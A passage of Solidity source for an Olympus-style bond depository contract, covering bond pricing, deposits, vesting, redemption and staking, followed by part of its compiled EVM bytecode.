bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } } interface ITreasury { function deposit( uint _amount, address _token, uint _profit ) external returns ( bool ); function valueOf( address _token, uint _amount ) external view returns ( uint value_ ); } interface IBondCalculator { function valuation( address _LP, uint _amount ) external view returns ( uint ); function markdown( address _LP ) external view returns ( uint ); } interface IStaking { function stake( uint _amount, address _recipient ) external returns ( bool ); } interface IStakingHelper { function stake( uint _amount, address _recipient ) external; } contract OlympusBondDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable OHM; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints OHM when receives principle address public immutable DAO; // receives profit share from bond bool public immutable isLiquidityBond; // LP and Reserve bonds are treated slightly different address public immutable bondCalculator; // calculates value of LP tokens address public staking; // to auto-stake payout address public stakingHelper; // to stake and claim if no staking warmup bool public useHelper; Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principle value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid) uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // OHM remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _OHM, address _principle, address _treasury, address _DAO, address _bondCalculator ) { require( _OHM != address(0) ); OHM = _OHM; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _DAO != address(0) ); DAO = _DAO; // bondCalculator should be address(0) if not LP bond bondCalculator = _bondCalculator; isLiquidityBond = ( _bondCalculator != address(0) ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _fee uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _fee, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( terms.controlVariable == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, fee: _fee, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, FEE, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.FEE ) { // 2 require( _input <= 10000, "DAO fee cannot exceed payout" ); terms.fee = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 3 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice set contract for auto stake * @param _staking address * @param _helper bool */ function setStaking( address _staking, bool _helper ) external onlyPolicy() { require( _staking != address(0) ); if ( _helper ) { useHelper = true; stakingHelper = _staking; } else { useHelper = false; staking = _staking; } } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor ) external returns ( uint ) { require( _depositor != address(0), "Invalid address" ); decayDebt(); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOf( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 OHM ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // profits are calculated uint fee = payout.mul( terms.fee ).div( 10000 ); uint profit = value.sub( payout ).sub( fee ); /** principle is transferred in approved and deposited into the treasury, returning (_amount - profit) OHM */ IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20( principle ).approve( address( treasury ), _amount ); ITreasury( treasury ).deposit( _amount, principle, profit ); if ( fee != 0 ) { // fee is transferred to dao IERC20( OHM ).safeTransfer( DAO, fee ); } // total debt is increased totalDebt = totalDebt.add( value ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data return stakeOrSend( _recipient, _stake, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, pricePaid: info.pricePaid }); emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( OHM ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake if ( useHelper ) { // use if staking warmup is 0 IERC20( OHM ).approve( stakingHelper, _amount ); IStakingHelper( stakingHelper ).stake( _amount, _recipient ); } else { IERC20( OHM ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient ); } } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( OHM ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e16 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { if( isLiquidityBond ) { price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 ); } else { price_ = bondPrice().mul( 10 ** IERC20( principle ).decimals() ).div( 100 ); } } /** * @notice calculate current ratio of debt to OHM supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( OHM ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms for reserve or liquidity bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { if ( isLiquidityBond ) { return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 ); } else { return debtRatio(); } } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of OHM available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or OHM) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != OHM ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80637927ebf811610125578063cea55f57116100ad578063d7ccfb0b1161007c578063d7ccfb0b14610571578063e0176de814610579578063e392a26214610581578063f5c2ab5b14610589578063fc7b9c181461059157610211565b8063cea55f57146104f8578063d4d863ce14610500578063d50256251461052e578063d79690601461056957610211565b806398fabd3a116100f457806398fabd3a1461046e578063a6c41fec14610476578063b4abccba1461047e578063c5332b7c146104a4578063cd1234b3146104ac57610211565b80637927ebf81461040f578063844b5c7c1461042c5780638dbdbe6d14610434578063904b3ece1461046657610211565b8063451ee4a1116101a85780635a96ac0a116101775780635a96ac0a146103ae57806361d027b3146103b657806371535008146103be578063759076e5146103ff57806377b818951461040757610211565b8063451ee4a11461032557806346f68ee91461035a5780634cf088d914610380578063507930ec1461038857610211565b80631a3d0068116101e45780631a3d0068146102845780631e321a0f146102b55780631feed31f146102db5780632f3f470a1461030957610211565b8063016a42841461021657806301b88ee81461023a5780630505c8c914610272578063089208d81461027a575b600080fd5b61021e610599565b604080516001600160a01b039092168252519081900360200190f35b6102606004803603602081101561025057600080fd5b50356001600160a01b03166105bd565b60408051918252519081900360200190f35b61021e610616565b610282610626565b005b6102826004803603608081101561029a57600080fd5b508035151590602081013590604081013590606001356106bd565b610282600480360360408110156102cb57600080fd5b5060ff81351690602001356107b5565b610260600480360360408110156102f157600080fd5b506001600160a01b0381351690602001351515610969565b610311610b5e565b604080519115158252519081900360200190f35b61032d610b6e565b60408051951515865260208601949094528484019290925260608401526080830152519081900360a00190f35b6102826004803603602081101561037057600080fd5b50356001600160a01b0316610b86565b61021e610c73565b6102606004803603602081101561039e57600080fd5b50356001600160a01b0316610c82565b610282610d14565b61021e610dbe565b610282600480360360e08110156103d457600080fd5b5080359060208101359060408101359060608101359060808101359060a08101359060c00135610de2565b610260610ed6565b61021e610ef1565b6102606004803603602081101561042557600080fd5b5035610f00565b610260610f26565b6102606004803603606081101561044a57600080fd5b50803590602081013590604001356001600160a01b03166110bf565b6102606116a8565b61021e6117a4565b61021e6117c8565b6103116004803603602081101561049457600080fd5b50356001600160a01b03166117ec565b61021e611922565b6104d2600480360360208110156104c257600080fd5b50356001600160a01b0316611946565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61026061196d565b6102826004803603604081101561051657600080fd5b506001600160a01b0381351690602001351515611a25565b610536611ae8565b604080519687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b610311611afd565b610260611b21565b610260611b60565b610260611bfd565b610260611c42565b610260611c48565b7f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c81565b6000806105c983610c82565b6001600160a01b0384166000908152600f602052604090205490915061271082106105f65780925061060f565b61060c6127106106068385611c4e565b90611cae565b92505b5050919050565b6000546001600160a01b03165b90565b6000546001600160a01b03163314610673576040805162461bcd60e51b8152602060048201819052602482015260008051602061294a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461070a576040805162461bcd60e51b8152602060048201819052602482015260008051602061294a833981519152604482015290519081900360640190fd5b600454610720906103e890610606906019611c4e565b83111561076a576040805162461bcd60e51b8152602060048201526013602482015272496e6372656d656e7420746f6f206c6172676560681b604482015290519081900360640190fd5b6040805160a0810182529415158086526020860185905290850183905260608501829052436080909501859052600a805460ff19169091179055600b92909255600c55600d55600e55565b6000546001600160a01b03163314610802576040805162461bcd60e51b8152602060048201819052602482015260008051602061294a833981519152604482015290519081900360640190fd5b600082600381111561081057fe5b1415610861576127108110156108575760405162461bcd60e51b815260040180806020018281038252602481526020018061298d6024913960400191505060405180910390fd5b6005819055610965565b600182600381111561086f57fe5b14156108d6576103e88111156108cc576040805162461bcd60e51b815260206004820181905260248201527f5061796f75742063616e6e6f742062652061626f766520312070657263656e74604482015290519081900360640190fd5b6007819055610965565b60028260038111156108e457fe5b141561094b57612710811115610941576040805162461bcd60e51b815260206004820152601c60248201527f44414f206665652063616e6e6f7420657863656564207061796f757400000000604482015290519081900360640190fd5b6008819055610965565b600382600381111561095957fe5b14156109655760098190555b5050565b6000610973612880565b506001600160a01b0383166000908152600f60209081526040808320815160808101835281548152600182015493810193909352600281015491830191909152600301546060820152906109c685610c82565b90506127108110610a56576001600160a01b0385166000818152600f602090815260408083208381556001810184905560028101849055600301839055855181519081529182019290925281517f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b1929181900390910190a2610a4d85858460000151611cf0565b92505050610b58565b8151600090610a6d90612710906106069085611c4e565b90506040518060800160405280610a91838660000151611ff490919063ffffffff16565b8152602001610abb610ab0866040015143611ff490919063ffffffff16565b602087015190611ff4565b8152436020808301919091526060808701516040938401526001600160a01b038a166000818152600f84528490208551808255868501516001830155868601516002830155959092015160039092019190915582518581529182019390935281517f51c99f515c87b0d95ba97f616edd182e8f161c4932eac17c6fefe9dab58b77b1929181900390910190a2610b52868683611cf0565b93505050505b92915050565b600354600160a01b900460ff1681565b600a54600b54600c54600d54600e5460ff9094169385565b6000546001600160a01b03163314610bd3576040805162461bcd60e51b8152602060048201819052602482015260008051602061294a833981519152604482015290519081900360640190fd5b6001600160a01b038116610c185760405162461bcd60e51b81526004018080602001828103825260268152602001806128bb6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6000610c8c612880565b506001600160a01b0382166000908152600f602090815260408083208151608081018352815481526001820154938101939093526002810154918301829052600301546060830152909190610ce2904390611ff4565b60208301519091508015610d0757610d008161060684612710611c4e565b9350610d0c565b600093505b505050919050565b6001546001600160a01b03163314610d5d5760405162461bcd60e51b81526004018080602001828103825260228152602001806128e16022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917faa151555690c956fc3ea32f106bb9f119b5237a061eaa8557cff3e51e3792c8d91a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b7f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e881565b6000546001600160a01b03163314610e2f576040805162461bcd60e51b8152602060048201819052602482015260008051602061294a833981519152604482015290519081900360640190fd5b60045415610e84576040805162461bcd60e51b815260206004820181905260248201527f426f6e6473206d75737420626520696e697469616c697a65642066726f6d2030604482015290519081900360640190fd5b6040805160c08101825288815260208101889052908101869052606081018590526080810184905260a00182905260049690965560059490945560069290925560075560085560095560105543601155565b6000610eec610ee3611bfd565b60105490611ff4565b905090565b6003546001600160a01b031681565b6000610b58662386f26fc10000610606610f2185610f1c611b21565b612036565b6121ad565b60007f0000000000000000000000000000000000000000000000000000000000000001156110245761101d60646106067f000000000000000000000000caaa6a2d4b26067a391e7b7d65c16bb2d5fa571a6001600160a01b03166332da80a37f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fe357600080fd5b505afa158015610ff7573d6000803e3d6000fd5b505050506040513d602081101561100d57600080fd5b5051611017611b21565b90611c4e565b9050610623565b610eec60646106067f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d60208110156110af57600080fd5b505160ff16600a0a611017611b21565b60006001600160a01b03821661110e576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6111166121c5565b6009546010541115611166576040805162461bcd60e51b815260206004820152601460248201527313585e0818d85c1858da5d1e481c995858da195960621b604482015290519081900360640190fd5b6000611170610f26565b9050600061117c6121d9565b9050808510156111bd5760405162461bcd60e51b815260040180806020018281038252602381526020018061296a6023913960400191505060405180910390fd5b60007f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e86001600160a01b0316631eec5a9a7f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c896040518363ffffffff1660e01b815260040180836001600160a01b031681526020018281526020019250505060206040518083038186803b15801561125457600080fd5b505afa158015611268573d6000803e3d6000fd5b505050506040513d602081101561127e57600080fd5b50519050600061128d82610f00565b9050629896808110156112d8576040805162461bcd60e51b815260206004820152600e60248201526d109bdb99081d1bdbc81cdb585b1b60921b604482015290519081900360640190fd5b6112e0611b60565b811115611325576040805162461bcd60e51b815260206004820152600e60248201526d426f6e6420746f6f206c6172676560901b604482015290519081900360640190fd5b6000611344612710610606600480015485611c4e90919063ffffffff16565b9050600061135c826113568686611ff4565b90611ff4565b90506113936001600160a01b037f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c1633308d61221b565b7f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c6001600160a01b031663095ea7b37f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e88c6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561142a57600080fd5b505af115801561143e573d6000803e3d6000fd5b505050506040513d602081101561145457600080fd5b50506040805163bc157ac160e01b8152600481018c90526001600160a01b037f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c811660248301526044820184905291517f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e89092169163bc157ac1916064808201926020929091908290030181600087803b1580156114f157600080fd5b505af1158015611505573d6000803e3d6000fd5b505050506040513d602081101561151b57600080fd5b50508115611577576115776001600160a01b037f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a899167f000000000000000000000000245cc372c84b3645bf0ffe6538620b04a217988b8461227b565b60105461158490856122d2565b601055604080516080810182526001600160a01b038a166000908152600f602052919091205481906115b690866122d2565b81526005805460208084019190915243604080850182905260609485018c90526001600160a01b038e166000908152600f8452819020865181559286015160018401558501516002830155939092015160039092019190915554879161161b916122d2565b604080518d8152905186917f1fec6dc81f140574bf43f6b1e420ae1dd47928b9d57db8cbd7b8611063b85ae5919081900360200190a461165961196d565b6116616121d9565b611669610f26565b6040517f375b221f40939bfd8f49723a17cf7bc6d576ebf72efe2cc3e991826f5b3f390a90600090a461169a61232c565b509098975050505050505050565b60007f00000000000000000000000000000000000000000000000000000000000000011561179c5761101d633b9aca006106067f000000000000000000000000caaa6a2d4b26067a391e7b7d65c16bb2d5fa571a6001600160a01b03166332da80a37f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561176857600080fd5b505afa15801561177c573d6000803e3d6000fd5b505050506040513d602081101561179257600080fd5b505161101761196d565b61101d61196d565b7f000000000000000000000000245cc372c84b3645bf0ffe6538620b04a217988b81565b7f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89981565b60007f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a8996001600160a01b0316826001600160a01b0316141561182d57600080fd5b7f00000000000000000000000034d7d7aaf50ad4944b70b320acb24c95fa2def7c6001600160a01b0316826001600160a01b0316141561186c57600080fd5b61191a7f000000000000000000000000245cc372c84b3645bf0ffe6538620b04a217988b836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156118dd57600080fd5b505afa1580156118f1573d6000803e3d6000fd5b505050506040513d602081101561190757600080fd5b50516001600160a01b038516919061227b565b506001919050565b7f000000000000000000000000caaa6a2d4b26067a391e7b7d65c16bb2d5fa571a81565b600f6020526000908152604090208054600182015460028301546003909301549192909184565b6000807f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a8996001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c957600080fd5b505afa1580156119dd573d6000803e3d6000fd5b505050506040513d60208110156119f357600080fd5b50519050611a1f670de0b6b3a7640000610606610f21611a19633b9aca00611017610ed6565b85612036565b91505090565b6000546001600160a01b03163314611a72576040805162461bcd60e51b8152602060048201819052602482015260008051602061294a833981519152604482015290519081900360640190fd5b6001600160a01b038216611a8557600080fd5b8015611aba5760038054600160a01b60ff60a01b19909116176001600160a01b0319166001600160a01b038416179055610965565b6003805460ff60a01b19169055600280546001600160a01b0384166001600160a01b03199091161790555050565b60045460055460065460075460085460095486565b7f000000000000000000000000000000000000000000000000000000000000000181565b6000611b4c62989680610606633b9aca00611b46611b3d61196d565b60045490611c4e565b906122d2565b600654909150811015610623575060065490565b6000610eec620186a06106066004600301547f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a8996001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611bcb57600080fd5b505afa158015611bdf573d6000803e3d6000fd5b505050506040513d6020811015611bf557600080fd5b505190611c4e565b600080611c1560115443611ff490919063ffffffff16565b600554601054919250611c2c916106069084611c4e565b9150601054821115611c3e5760105491505b5090565b60115481565b60105481565b600082611c5d57506000610b58565b82820282848281611c6a57fe5b0414611ca75760405162461bcd60e51b81526004018080602001828103825260218152602001806129296021913960400191505060405180910390fd5b9392505050565b6000611ca783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061240c565b600082611da0577f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a8996001600160a01b031663a9059cbb85846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611d6e57600080fd5b505af1158015611d82573d6000803e3d6000fd5b505050506040513d6020811015611d9857600080fd5b50611fed9050565b600354600160a01b900460ff1615611ec7576003546040805163095ea7b360e01b81526001600160a01b0392831660048201526024810185905290517f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a8999092169163095ea7b3916044808201926020929091908290030181600087803b158015611e2957600080fd5b505af1158015611e3d573d6000803e3d6000fd5b505050506040513d6020811015611e5357600080fd5b505060035460408051637acb775760e01b8152600481018590526001600160a01b03878116602483015291519190921691637acb775791604480830192600092919082900301818387803b158015611eaa57600080fd5b505af1158015611ebe573d6000803e3d6000fd5b50505050611fed565b6002546040805163095ea7b360e01b81526001600160a01b0392831660048201526024810185905290517f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a8999092169163095ea7b3916044808201926020929091908290030181600087803b158015611f3e57600080fd5b505af1158015611f52573d6000803e3d6000fd5b505050506040513d6020811015611f6857600080fd5b505060025460408051637acb775760e01b8152600481018590526001600160a01b03878116602483015291519190921691637acb77579160448083019260209291908290030181600087803b158015611fc057600080fd5b505af1158015611fd4573d6000803e3d6000fd5b505050506040513d6020811015611fea57600080fd5b50505b5092915050565b6000611ca783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ae565b61203e6128a8565b6000821161207d5760405162461bcd60e51b81526004018080602001828103825260268152602001806129036026913960400191505060405180910390fd5b826120975750604080516020810190915260008152610b58565b71ffffffffffffffffffffffffffffffffffff831161213e57600082607085901b816120bf57fe5b0490506001600160e01b0381111561211e576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b0316815250915050610b58565b600061214f84600160701b85612508565b90506001600160e01b0381111561211e576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b6121d0610ee3611bfd565b60105543601155565b60006121f562989680610606633b9aca00611b46611b3d61196d565b60065490915081101561220b5750600654610623565b6006541561062357600060065590565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526122759085906125a8565b50505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526122cd9084906125a8565b505050565b600082820183811015611ca7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600d54600e5460009161233f91906122d2565b600b54909150158015906123535750804310155b1561240957600454600a5460ff161561238d57600b54600454612375916122d2565b6004819055600c5411612388576000600b555b6123af565b600b5460045461239c91611ff4565b6004819055600c54106123af576000600b555b43600e55600454600b54600a546040805185815260208101949094528381019290925260ff1615156060830152517fb923e581a0f83128e9e1d8297aa52b18d6744310476e0b54509c054cd7a93b2a9181900360800190a1505b50565b600081836124985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561245d578181015183820152602001612445565b50505050905090810190601f16801561248a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816124a457fe5b0495945050505050565b600081848411156125005760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561245d578181015183820152602001612445565b505050900390565b60008060006125178686612659565b915091506000848061252557fe5b868809905082811115612539576001820391505b8083039250848210612592576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b61259d838387612686565b979650505050505050565b60606125fd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166126f69092919063ffffffff16565b8051909150156122cd5780806020019051602081101561261c57600080fd5b50516122cd5760405162461bcd60e51b815260040180806020018281038252602a8152602001806129b1602a913960400191505060405180910390fd5b600080806000198486099050838502925082810391508281101561267e576001820391505b509250929050565b6000818103821680838161269657fe5b0492508085816126a257fe5b0494508081600003816126b157fe5b